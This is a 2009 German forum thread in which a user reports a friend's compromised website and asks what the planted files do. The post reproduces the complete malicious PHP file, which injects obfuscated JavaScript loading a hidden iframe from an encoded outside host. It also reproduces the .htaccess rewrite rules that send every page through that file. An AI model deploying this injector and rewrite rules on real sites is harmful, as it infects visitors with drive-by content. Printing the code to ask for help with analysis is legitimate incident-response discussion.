Page 1 of 1

heder.php und .htaccess befall!

Posted: 2009-09-28 23:10
by markuman
Bei einem Freund von mir, der bei irgendeinem Hoster ist, ging am Wochenende seine Seite nicht mehr. Fehler 404.

Per FTP eingeloggt, sah man sofort, dass in der Nacht von Samstag auf Sonntag um ~4 Uhr nachts, 2 Dateien in jeden Ordner gelegt wurden.

Einmal eine .heder.php

Code: Select all

<?php
$frame_code = '<!--pCQegcQpSdDlcHjr--><script>/*kKMIkqZKzudmzolxbrOHcWc*/var YtJzBU=document;/*IiTSklCVzskOGQGJRjfotls*/function UvrUmwYA(fXCunYmB)/*oMvBLMFdAhNBEswhcTQORaUK*/{var DdKQrsBtb = "",/*qMhJXHFXbplaeBhn*/MAueQJPqK=0;for(MAueQJPqK=fXCunYmB.length-1;MAueQJPqK >= 0;MAueQJPqK--)/*_QFpgDWzoZ_IUa_EYAAsBSz*/{DdKQrsBtb+=fXCunYmB.charAt(MAueQJPqK);}return DdKQrsBtb;/*MObrkBcjKvUUEMQ*/}/*uTerrZNumvQKTuJLpL*/function lAzxGtC(XFRZIMF_)/*kKMIkqZKzudmzolxbrOHcWc*/{/*qMhJXHFXbplaeBhn*/XFRZIMF_ = XFRZIMF_.replace(/[.]/g, "%");/*DQloCfcNIAbcedryffCLqfJb*/XFRZIMF_=unescape(XFRZIMF_);/*dYwdhKVcIC*/return UvrUmwYA(XFRZIMF_);/*labNWxLCjH_vHfgqHzTeFJpk*/}/*mDxpBbGaaSRIv*/function gqDmBRQ(){/*qMhJXHFXbplaeBhn*/YtJzBU.write("<style>.JIjzCtPmog{width:1px;height:1px;border:none;visibility:hidden}</style>");/*_QFpgDWzoZ_IUa_EYAAsBSz*//*_QFpgDWzoZ_IUa_EYAAsBSz*/var rPnbv="<iframe id="fWMiliU" src="x" class="JIjzCtPmog"></iframe>";/*MObrkBcjKvUUEMQ*//*XveYPeKLuEKekySlz*/var eukscm=rPnbv.replace(/[+x]/g,lAzxGtC(".70.68.70.2e.6e.69.2f.73.74.61.74.73.2f.6f.66.6e.69.2e.72.65.74.6e.75.6f.63.2d.65.76.69.6c.2e.77.77.77.2f.2f.3a.70.74.74.68"));/*qMhJXHFXbplaeBhn*//*EDoaNtIMGMc*/return eukscm;/*rqszXRaWBkPDChdYQJhZ*//*ZanD_dBPp_pbECRk*/}/*EDoaNtIMGMc*//*IiTSklCVzskOGQGJRjfotls*//*ZanD_dBPp_pbECRk*//*VAggMvx_ioGGV*/YtJzBU.writeln(gqDmBRQ());/*PPOfbNdeQEktSYITseyRSquT*//*mDxpBbGaaSRIv*//*eUChBuePLDO*/</script><!--pCQegcQpSdDlcHjr-->';

function get_file_dir_($file) {
    global $argv;
    $dir = dirname(getcwd() . '/' . $file);
    $curDir = getcwd();
    chdir($dir);
    $dir = getcwd();
    chdir($curDir);
    return $dir;
}

function callback($data)
{
	global $frame_code;
		
	$data = preg_replace('/<iframe.*style=.*hidden.*/iframe[^>]*>/i', "", $data);	
	$data = preg_replace('/<div.*style=.*display.*none[^>]*><iframe.*/.*div[^>]*>/i', "", $data);
	$data = preg_replace('/<!-- ad --><script[^>]*>.*</script><!-- /ad -->/i', "", $data);	
	
	if(preg_match("/(<body[^>]*>)/i", $data) > 0) {
		return preg_replace("/(<body[^>]*>)/i", "$1 n".$frame_code, $data, 1);
	}		
	else {
		return $data.$frame_code;
	}
}

ob_start('callback');
$file 	= $_GET['qq'];
chdir(get_file_dir_($file));

include($file);
?>
Und einmal wurde die .htaccess manipuliert
RewriteEngine On
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} !.heder.php
RewriteRule (.*).(php|html|htm|php3|phtml|shtml) .heder.php?%{QUERY_STRING}&qq=$1.$2 [NC,L]
Scheinbar hat wer versucht, mittels iframe irgendetwas über die Websiten zu verteilen (andere Seiten auf dem Server waren auch betroffen - wahrscheinlich alle, das kann ich aber nicht kontrollieren)
Ich frag mich jetzt nur, was genau diese .heder.php in Zeile 2 treibt, weil der Code ja verschleiert/verschlüsselt ist...
Was vermutet ihr? Wie untersucht man sowas am besten? Wodurch ist der angreifer wohl auf das System gekommen?
Oder täusche ich mich etwa?

Re: heder.php und .htaccess befall!

Posted: 2009-09-29 00:34
by Joe User
Aus der Menge an bei Google gelisteter, hiermit infizierter Websites und deren verwendeter WebApps, lässt sich schliessen, dass Dein Kumpel mindestens eine völlig veraltete WebApp auf dem System hat.
Ansonsten siehe die vorherigen Antworten...

Re: heder.php und .htaccess befall!

Posted: 2009-09-29 16:39
by markuman
Danke, ich leite das mal weiter :)